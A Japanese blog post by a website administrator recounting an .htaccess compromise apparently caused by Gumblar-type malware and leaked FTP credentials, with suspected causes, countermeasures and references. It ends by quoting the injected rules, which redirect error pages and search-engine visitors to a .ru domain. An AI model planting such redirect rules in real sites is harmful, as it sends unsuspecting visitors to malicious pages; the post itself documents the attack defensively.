htaccessファイルの改ざんについて
経緯と原因、そして対策
FTPログやアップロードされたファイルオーナーから察するに、
おそらくFTP情報が漏れて改ざんされた可能性が高い。
改ざん内容から8080系のマルウェアGumblarの線が濃いが、
私の環境でブラウザ確認以外 Windowsは使っていない、
また、パスワードを変えても同じ被害が起こる。
ということは、
FTP通信時に抜かれている可能性も考え得る。
SFTPでの接続だが、抜かれる/漏れる可能性はゼロでは無い。
(FTPクライアントはCyberduckとTransmitの併用。)
さらに、最大の問題が
このFTPアカウントは数人が使用している。
ということ。
確認出来ていないが Windows FFFTP等からのアクセスもあるだろう。
またはキーロガーが仕込まれている。その可能性も大いにある。
応急処置として、
他の方には面倒をかけるが(固定IPで無い為設定できない)、
現在はIP制限を行い、アクセス後毎度PWを変更している。
この処置により、事態は収束したようにも見える。
他の方々には、固定IPとSFTP接続の環境を整えて頂くしかない。
環境が整い次第、個々人にFTPアカウントを切り分けて再設定して頂く。
これにより、万一再発しても、どこから改ざんされているかを特定できる。
ファイルが削除される程度なら、まだ内輪で済まされるが、
この手のリダイレクトはアクセスして頂いてる方々に迷惑かけ、
場合によっては尊大な被害を与えてしまう。
本来アカウント管理は自分では無いのだが、そうも言っていられない。
事態は深刻なのだ。
参考
・【注意喚起】Gumblar(ガンブラー)ウイルスによる新たなホームページ改ざん被害を確認|株式会社ラック
・ガンブラー対策「.htaccess」にも注意!|セキュリティーブログ
・Gumblar/8080系ウィルスのサイト運営者向け対策サイト
追記された記述の例
下記の記述での 400〜500 Error や 主要検索エンジンからのアクセスの場合、未知のURLに転送されるようになってしまう。
RewriteEngine On ErrorDocument 400 http://(ドメイン名).ru/force/index.php ErrorDocument 401 http://(ドメイン名).ru/force/index.php ErrorDocument 403 http://(ドメイン名).ru/force/index.php ErrorDocument 404 http://(ドメイン名).ru/force/index.php ErrorDocument 500 http://(ドメイン名).ru/force/index.php RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* [OR] RewriteCond %{HTTP_REFERER} .*youtube.* [OR] RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] RewriteCond %{HTTP_REFERER} .*qq.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* [OR] RewriteCond %{HTTP_REFERER} .*facebook.* [OR] RewriteCond %{HTTP_REFERER} .*twitter.* [OR] RewriteCond %{HTTP_REFERER} .*blog.* [OR] RewriteCond %{HTTP_REFERER} .*live.* [OR] RewriteCond %{HTTP_REFERER} .*myspace.* [OR] RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond %{HTTP_REFERER} .*ya.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*linkedin.* [OR] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ http://(ドメイン名).ru/force/index.php [R=301,L]
など…………….